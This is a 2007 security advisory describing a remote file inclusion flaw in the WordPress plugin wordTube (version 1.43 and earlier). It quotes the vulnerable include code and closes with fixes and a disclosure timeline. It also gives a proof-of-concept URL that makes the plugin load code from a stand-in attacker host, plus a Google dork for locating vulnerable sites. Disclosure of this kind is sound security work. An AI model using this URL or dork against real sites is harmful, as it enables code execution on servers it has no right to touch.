[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability
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[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File
Inclusion Vulnerability
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Author : M.Hasran Addahroni
Date : April, 30th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
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Affected software description:
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Application : wordTube
version : <= 1.43
Vendor : http://alexrabe.boelinger.com/?page_id=20
Description :
This plugin creates your personal YouTube plugin for wordpress.
wordTube supports the streaming video format (Format .flv or .swf),
sound files as MP3 and JPG, GIF or PNG grafic files.
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Vulnerability:
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- Invalid include function at wordtube-button.php :
----------------wordtube-button.php-------------------
...
*/
// get and set path of function
if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];
require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
...
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Input passed to the "wpPATH" parameter in wordtube-button.php is not properly
verified before being used to include files.
This can be exploited to include arbitrary files from local or external
resources.
Successful exploitation requires that "register_globals" is enabled.
Poc/Exploit:
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http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil?
Google dork:
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"inurl:/plugins/wordtube"
Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version
Notification:
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- 30-04-2007 bugs found
- 30-04-2007 vendor contacted
- 1-05-2007 advisory released
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Contact:
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K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
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